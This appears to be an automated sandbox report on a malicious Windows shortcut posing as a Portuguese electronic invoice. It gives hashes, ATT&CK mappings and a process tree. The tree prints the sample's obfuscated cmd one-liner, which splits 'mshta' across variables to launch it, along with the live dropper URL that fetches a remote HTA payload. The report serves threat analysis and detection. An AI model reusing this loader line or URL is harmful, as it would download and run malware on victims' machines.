f77bd7e3d6d60555dd90e2863107d4f8b7998eb97d3210901b34ab75f5f51f7f

Analysis

max time kernel
58s
max time network
62s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
23/08/2026, 04:31

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General

Target
Fatura Eletronica-32VR08.lnk
Size 1KB
Sample260823-e5s34axwds
SHA256 f77bd7e3d6d60555dd90e2863107d4f8b7998eb97d3210901b34ab75f5f51f7f
MD5 2e21d5eec3da4b2897009741ed8a0d65
SHA1 13154bdc4ab464a7bf0c9e6b53ce0be72d1dea97
SHA512 02312cdc79bb9262979dc5f2f95a6c19812e873b13472f7254dc25993fc581f7684c50885ef7ce73719d102bb9f3c8bd332ac838c9ff0c5918cf8bd37a1ee04e
TLSH
T144317B403BF90614F3F78FB3987B6B1089BFB8568E10C61D0190454C1472A05E93AF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://faturaeletronicapt.com/h/estagio1.php?r=2412

Signatures

Badlisted process makes network request 6 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	5444	mshta.exe
7	5444	mshta.exe
10	5444	mshta.exe
12	5444	mshta.exe
14	5444	mshta.exe
15	5444	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5512	cmd.exe
2776	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 5512	2776	cmd.exe	90
PID 5512 wrote to memory of 5444	5512	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Fatura Eletronica-32VR08.lnk"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2776
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set wbrYH=msh&&set SC=ta&&start "" !wbrYH!!SC! https://faturaeletronicapt.com/h/estagio1.php?r=2412"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5512
- - C:\Windows\System32\mshta.exe
    mshta https://faturaeletronicapt.com/h/estagio1.php?r=2412
    3⤵
    - Badlisted process makes network request
    PID:5444

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads